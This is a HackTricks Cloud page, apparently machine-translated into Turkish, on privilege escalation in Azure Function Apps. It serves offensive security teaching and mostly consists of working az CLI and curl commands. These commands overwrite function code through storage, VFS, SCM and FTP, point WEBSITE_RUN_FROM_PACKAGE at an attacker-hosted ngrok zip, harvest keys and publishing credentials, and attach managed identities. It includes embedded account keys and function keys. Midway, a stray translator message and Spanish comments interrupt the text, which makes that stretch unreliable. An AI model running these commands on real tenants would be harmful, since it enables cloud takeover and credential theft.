Az - Functions App Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Function Apps
Daha fazla bilgi için aşağıdaki sayfayı inceleyin:
Bucket Read/Write
Fonksiyon verilerini depolayan Storage Account içindeki container’ları okuma izinleriniz varsa, farklı container’lar (özel veya ön tanımlı isimlerle) bulabilirsiniz; bunlar fonksiyon tarafından çalıştırılan kodu içerebilir.
Fonksiyonun kodunun nerede bulunduğunu bulduğunuzda ve üzerinde yazma izniniz varsa, fonksiyonun herhangi bir kodu çalıştırmasını sağlayabilir ve fonksiyona bağlı managed identities’in ayrıcalıklarını yükseltebilirsiniz.
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Fonksiyonun kodu genellikle bir file share içinde depolanır. Yeterli erişimle kod dosyasını değiştirmek ve fonksiyonun rastgele kod yüklemesini sağlamak mümkün olup bu, Function’a bağlı managed identities’in ayrıcalıklarını yükseltmeye olanak tanır.
This deployment method usually configures the settings WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE which you can get from
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Bu konfigürasyonlar, Function’ın koda erişmek için kullanabileceği Storage Account Key’i içerecektir.
Caution
File Share’a bağlanmak ve çalışan modify the script üzerinde değişiklik yapma yetkisine sahip olunması durumunda Function içinde execute arbitrary code gerçekleştirmek ve escalate privileges mümkün olabilir.
Aşağıdaki örnek, file share’a bağlanmak için macOS kullanmaktadır; ancak file share’ler hakkında daha fazla bilgi için şu sayfayı da incelemeniz önerilir:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
Ayrıca, function app’in kullandığı Storage Account konteynerindeki function-releases klasörü içinde zip sürümlerini bulmak da yaygındır; konteyner genellikle function-releases olarak adlandırılır.
Genellikle bu dağıtım yöntemi WEBSITE_RUN_FROM_PACKAGE konfigürasyonunu şu yerde ayarlar:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
This config will usually contain a SAS URL to download the code from the Storage Account.
Caution
Yeterli izinle, contains the code in zip içeren blob container’a bağlanılarak Function içinde arbitrary code çalıştırmak ve ayrıcalıkları yükseltmek mümkündür.
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
Önceki durumda olduğu gibi, dağıtım Github Actions ile yapıldıysa Storage Account içinde kodun bir zip’ini içeren github-actions-deploy klasörünü ve zip için WEBSITE_RUN_FROM_PACKAGE ayarında bulunan bir SAS URL’sini bulmak mümkündür.
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGveWEBSITE_CONTENTSHARE)
Function verilerini saklayan Storage Account içindeki container’ları okuma iznine sahip olunduğunda scm-releases container’ını bulmak mümkündür. Orada en son release’in Squashfs filesystem file format halinde olduğu bulunabilir ve dolayısıyla Function’ın kodunu okumak mümkün olur:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Ayrıca storage account içinde, container’daki azure-webjobs-secrets altında yer alan <app-name> klasöründeki JSON dosyalarında master ve functions anahtarlarını bulmak da mümkündür.
Caution
Kodun bir zip extension file içinde bulunduğu blob container’a bağlanmak için yeterli izin varsa (aslında bir
squashfs), Function içinde keyfi kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Bu izin, belirtilen function için function, master ve system anahtarlarını (host olanı hariç) listelemeye izin verir:
az functionapp keys list --resource-group <res_group> --name <func-name>
master key ile ayrıca şu gibi bir URL’den kaynak kodunu almak da mümkündür:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
Ve fonksiyonda çalıştırılan kodu değiştirmek için:
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Bu izin, belirtilen fonksiyonun varsayılan anahtarını şu şekilde almayı sağlar:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Elde edilen varsayılan anahtarı kullanarak fonksiyonu çağırın:
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
Microsoft.Web/sites/host/functionKeys/write
Bu izin, belirtilen function için bir function key oluşturma/güncelleme yapmaya izin verir:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Bu izin, belirtilen function için bir master key oluşturmayı veya güncellemeyi sağlar:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
Bu anahtar ile daha önce açıklandığı gibi kaynak koda da erişebileceğinizi ve onu değiştirebileceğinizi unutmayın!
Microsoft.Web/sites/host/systemKeys/write
Bu izin, belirtilen fonksiyon için bir system function key oluşturulmasına/güncellenmesine izin verir:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Çeviriye başlamam için lütfen “Use the key:” sonrası gelen anahtarı veya çevirmemi istediğiniz src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md dosya içeriğini yapıştırın. İçerik olmadan işlem yapamam.
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
Microsoft.Web/sites/config/list/action
Bu izin bir function’ın ayarlarını almayı sağlar. Bu yapılandırmalar içinde varsayılan değerler AzureWebJobsStorage veya WEBSITE_CONTENTAZUREFILECONNECTIONSTRING bulunabilir; bunlar function’ın blob storage’ına TAM izinlerle erişmek için bir hesap anahtarı içerir.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Ayrıca, bu izin (etkinse) SCM username and password’i şu komutla almayı sağlar:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
Bu izinler, daha önce gördüğümüz gibi bir fonksiyonun yapılandırma değerlerini listelemeyi ve ayrıca bu değerleri değiştirmeyi sağlar. Bu, fonksiyon içinde çalıştırılacak kodun nerede bulunduğunu gösterdiği için kullanışlıdır.
Bu nedenle, web uygulaması içinde çalıştırılacak yeni kodu içeren bir zip dosyasına işaret eden WEBSITE_RUN_FROM_PACKAGE ayarının değerini ayarlamak mümkündür:
- Önce mevcut config’i alın
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Fonksiyonun çalıştırmasını istediğiniz kodu oluşturun ve bunu herkese açık olarak barındırın.
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Fonksiyonu değiştirin, önceki parametreleri koruyun ve sonuna kodu içeren zip’e işaret eden URL’yi gösteren
WEBSITE_RUN_FROM_PACKAGEayarını ekleyin.
Aşağıda benim kendi ayarlarıma ait bir örnek (değerleri kendi ortamınıza göre değiştirmeniz gerekecek) yer almaktadır; sondaki "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip" değerine dikkat edin — uygulamayı burada barındırıyordum.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
Bu izin ile web konsolu üzerinden (veya aşağıdaki API endpoint aracılığıyla) bir uygulamanın kodunu değiştirmek mümkündür:
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
Bu izin, temelde basic auth credentials içeren tüm publishing profiles’i listelemeye olanak tanır:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Bir diğer seçenek kendi creds’inizi ayarlamak ve bunları kullanmak olacaktır:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Eğer REDACTED kimlik bilgileri
Eğer bu kimlik bilgilerinin REDACTED olduğunu görüyorsanız, bunun nedeni SCM basic authentication option’ı etkinleştirmeniz gerektiğidir ve bunun için ikinci izne (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write): ihtiyacınız vardır.
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Method SCM
Ardından, bu basic auth credentials to the SCM URL ile function app’inizin SCM URL’sine erişebilir ve env variables değerlerini alabilirsiniz:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Not: SCM kullanıcı adı genellikle “$” karakteri ile başlayıp uygulama adıyla devam eder, yani: $<app-name>.
Bu web sayfasına ayrıca şu adresten de erişebilirsiniz: https://<app-name>.scm.azurewebsites.net/BasicAuth
Ayar değerleri, function app’in verilerini depolayan storage account’un AccountKey’ini içerir; bu da o storage account’u kontrol etmenize olanak tanır.
- Yöntem FTP
FTP sunucusuna şu şekilde bağlanın:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Not: FTP username genellikle <app-name>\$<app-name> formatındadır.
Microsoft.Web/sites/hostruntime/vfs/read
Bu izin, uygulamanın kaynak kodunu VFS aracılığıyla okumaya izin verir:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
Bu izinle get the admin token alınabilir; bu token daha sonra master key’i elde etmek için kullanılabilir ve dolayısıyla function’ın koduna erişip onu değiştirmek mümkün olur.
Ancak, son kontrollerimde herhangi bir token dönmedi, bu yüzden devre dışı bırakılmış veya artık çalışmıyor olabilir; ama işte nasıl yapacağınız:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
Bu izin, devre dışı bırakılmış olabilecek fonksiyonları etkinleştirmeye (veya devre dışı bırakmaya) olanak tanır.
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Aşağıdaki URL’de bir function’ın etkinleştirildiği veya devre dışı bırakıldığı da görülebilir (parantez içindeki izin kullanılarak):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
Bu izinlerle container çalıştıracak şekilde yapılandırılmış bir function app tarafından çalıştırılan container’ı bir function app tarafından çalıştırılan container’ı değiştirmek mümkün. Bu, bir saldırganın kötü amaçlı bir azure function container app’i (örneğin docker hub’a) yüklemesine ve function’ın bunu çalıştırmasını sağlamasına izin verir.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
Bu izinlerle bir function’a attach a new user managed identity yapmak mümkün. Eğer function ele geçirilmişse, bu herhangi bir user managed identity’ye escalate privileges yapılmasına olanak tanır.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Uzaktan Hata Ayıklama
Çalışan bir Azure Function’a bağlanıp hata ayıklamak da mümkündür, explained in the docs. Ancak varsayılan olarak, geliştiricinin unutması durumunda savunmasız yapılandırmaları açık bırakmamak için Azure bu seçeneği 2 gün içinde kapalı duruma getirecektir.
Bir Function’un hata ayıklamanın etkin olup olmadığını şu komutla kontrol etmek mümkündür:
az functionapp show --name <app-name> --resource-group <res-group>
Microsoft.Web/sites/config/write iznine sahip olmak, bir function’ı hata ayıklama moduna geçirmek için de mümkündür (aşağıdaki komut ayrıca Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read ve Microsoft.Web/sites/Read izinlerini de gerektirir).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Github repo’yu değiştir
Dağıtımın gerçekleştiği Github repo’yu aşağıdaki komutları çalıştırarak değiştirmeyi denedim fakat değişse bile yeni kod yüklenmedi (muhtemelen kodu güncellemesi için Github Action’ı beklediği için).
Ayrıca, managed identity federated credential wasn’t updated, yeni repository’ye izin vermediği için bunun çok kullanışlı olmadığı görünüyor.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

